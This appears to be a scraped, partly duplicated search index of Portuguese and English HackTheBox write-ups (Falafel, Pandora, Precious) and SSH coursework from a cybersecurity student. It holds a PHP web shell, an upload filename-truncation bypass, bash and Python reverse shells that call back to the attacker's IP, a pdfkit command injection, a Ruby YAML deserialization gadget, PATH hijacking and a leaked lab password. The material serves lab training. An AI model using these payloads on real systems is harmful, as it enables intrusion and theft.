\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"102","title":"2.3. RCE"},"103":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"103","title":"2.3.1. Reverse Shell"},"104":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"104","title":"3. PrivEsc"},"105":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"105","title":"3.1. Group video"},"106":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"106","title":"3.2. Group disk"},"107":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"107","title":"3.3. debugfs"},"108":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"108","title":"Trabalhos do curso de Cibersegurança"},"109":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"109","title":"1. Instalação do OpenSSH do cliente"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"110","title":"2. Instalação do OpenSSH do lado do servidor"},"111":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"86","title":"3.6. RCE com usuário matt"},"87":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"87","title":"3.6.1. Estabilizar o Reverse Shell"},"88":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"88","title":"4. Escalada de privilégio"},"89":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"89","title":"4.1. Path Hijacking"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"90","title":"4.1.1. Não funcionou! Porquê?"},"91":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"91","title":"1. Introduction"},"92":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"92","title":"2. Enumeration"},"93":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"93","title":"3. Exploit - Remote Code Execution"},"94":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"94","title":"4. Foothold"},"95":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"95","title":"5. Privilege Escalation"},"96":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"96","title":"6. Conclusion"},"97":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"97","title":"1. Enumeração"},"98":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"103","title":"2.3. RCE"},"104":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"104","title":"2.3.1. Reverse Shell"},"105":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"105","title":"3. PrivEsc"},"106":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e 